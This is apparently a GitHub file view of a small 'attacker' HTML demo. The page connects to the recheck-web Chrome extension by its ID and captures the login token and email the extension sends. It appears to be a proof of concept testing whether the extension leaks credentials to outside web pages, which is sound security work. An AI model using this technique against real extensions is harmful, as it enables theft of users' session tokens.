-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathattacker.html
42 lines (41 loc) · 1.27 KB
/
attacker.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!DOCTYPE html>
<html>
<head>
<meta charset=utf-8>
<title>recheck-web Attacker Demo</title>
<script>
function $(id) {
return document.getElementById(id);
}
// Gives error, as chrome.runtime is not defined...
// chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
// if (request.message === 'recheck-web_login') {
// $('token').innerHTML = request.token;
// $('email').innerHTML = request.email;
// }
// });
window.onmessage = (event) => {
// Waiting for that message.
$('messages').appendChild(document.createTextNode("Event received: " + event));
};
// should not be possible without explicit permission,
// according to https://developer.chrome.com/extensions/messaging#external-webpage
window.chrome.runtime.connect('ifbcdobnjihilgldbjeomakdaejhplii').onMessage.addListener(
function(request, sender, sendResponse) {
$('messages').appendChild(document.createTextNode("Event received: " + request));
if (request.message === 'recheck-web_login') {
$('token').innerHTML = request.token;
$('email').innerHTML = request.email;
}
}
);
</script>
</head>
<body>
<div id="login" class="progress">
Logged in as <b><span id="email"></span></b>: <br />
<span id="token"></span>
</div>
<div id="messages"></div>
</body>
</html>